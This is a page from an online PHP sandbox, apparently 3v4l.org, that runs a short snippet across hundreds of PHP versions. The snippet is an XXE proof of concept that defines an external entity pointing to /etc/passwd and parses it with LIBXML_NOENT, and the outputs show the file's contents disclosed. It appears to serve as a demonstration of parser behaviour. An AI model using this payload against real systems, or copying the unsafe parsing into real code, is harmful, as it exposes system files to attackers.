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run code in 300+ PHP versions simultaneously
<?php /** * @link http://stackoverflow.com/a/29864193/367456 */ $buffer = <<<XML <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "/etc/passwd">]><foo>&xxe;</foo> XML; libxml_disable_entity_loader(false); $xml = simplexml_load_string($buffer); $xml->asXML('php://output'); $xml = simplexml_load_string($buffer, 'SimpleXMLElement', LIBXML_NOENT); $xml->asXML('php://output');
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Deprecated: Function libxml_disable_entity_loader() is deprecated in /in/atLd6 on line 14 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>root:x:0:0::/root:/bin/bash </foo>
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Deprecated: Function libxml_disable_entity_loader() is deprecated in /in/atLd6 on line 14 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>root:x:0:0::/root:/bin/bash </foo>
Output for 7.2.29 - 7.2.33, 7.3.16 - 7.3.33, 7.4.3 - 7.4.33
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>root:x:0:0::/root:/bin/bash </foo>
Output for 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.26, 7.3.0 - 7.3.13, 7.4.0 - 7.4.1
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin </foo>
preferences:
209.35 ms | 404 KiB | 291 Q